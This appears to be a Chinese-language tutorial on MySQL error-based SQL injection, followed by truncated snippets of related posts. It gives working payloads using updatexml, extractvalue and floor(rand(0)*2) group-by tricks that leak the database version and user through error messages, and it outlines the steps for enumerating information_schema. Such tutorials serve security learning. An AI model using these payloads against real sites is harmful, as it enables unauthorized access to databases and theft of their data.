updatexml(xml_target, xpath_expr, new_xml)
該函式將xml標記xml_target的給定片段的單個部分替換為新的xml片段new_xml,然後返回更改後的xml。被替換的xml_target部分與使用者提供的xpath表示式xpath_expr匹配。
說白了,就是用來修改xml文件的內容
因為xpath_expr引數必須是遵守xpath語法的xpath表示式,當該引數的值不滿足xpath語法時就會觸發錯誤。
例如:select updatexml(1,(select @@version),1);
可以看到資料庫返回了錯誤資訊,其中包含具體的引數值。但是這裡的並不是我們想要的完整值。因為值的前一部分滿足了xpath語法,錯誤資訊只返回了不滿足語法而觸發錯誤的部分。
因此updatexml函式常常結合concat函式一起使用,在引數值前拼接乙個不滿足xpath語法的字元來獲取完整資料。
例如:select updatexml(1,(concat(0x7c,(select @@version))),1);
extractvalue(xml_frag, xpath_expr)
extractvalue()接受兩個字串引數,乙個xml標記xml_frag片段和乙個xpath表示式xpath_expr(也稱為定位器);它返回第乙個文字節點的文字(cdata),該文字節點是元素或與xpath表示式匹配的元素的子元素。
根據xpath_expr提供的表示式在xml_frag中匹配對應的節點並返回其元素或子元素。(從xml文件提取資料)
與updatexml一樣xpath_expr引數的值需要滿足xpath語法。
例如:select extractvalue(1,concat(0x7c,(select user())));
參考:select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a;
select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a
注:新增『^』是為了區分函式產生的隨機值和返回的資料
還有類似left或floor也能觸發,比如round這裡不再列舉
注:此方法有概率不會觸發錯誤,請多次嘗試
mysql顯錯注入 MySQL注入之顯錯注入
庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...
mysql錯誤回顯注入 sql注入 顯錯注入
前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...
SQL注入 顯錯注入
顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...